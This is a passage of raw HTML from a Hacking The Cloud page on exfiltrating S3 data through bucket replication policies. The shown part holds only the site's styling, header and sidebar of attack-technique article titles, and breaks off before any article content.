+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#introduction class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#introduction class=md-nav__link> <span class=md-ellipsis> Introduction </span> </a> </li> <li class=md-nav__item> <a href=#required-configurations-and-permissions class=md-nav__link> <span class=md-ellipsis> Required Configurations and Permissions </span> </a> <nav class=md-nav aria-label="Required Configurations and Permissions"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#pre-requisites class=md-nav__link> <span class=md-ellipsis> Pre-requisites </span> </a> </li> <li class=md-nav__item> <a href=#iam-role class=md-nav__link> <span class=md-ellipsis> IAM Role </span> </a> </li> <li class=md-nav__item> <a href=#kms-if-objects-are-encrypted class=md-nav__link> <span class=md-ellipsis> KMS - If objects are encrypted </span> </a> </li> <li class=md-nav__item> <a href=#attacker-account-configuration class=md-nav__link> <span class=md-ellipsis> Attacker Account Configuration </span> </a> </li> <li class=md-nav__item> <a href=#configuring-the-replication class=md-nav__link> <span class=md-ellipsis> Configuring the replication </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#what-defenders-can-look-for class=md-nav__link> <span class=md-ellipsis> What defenders can look for </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> 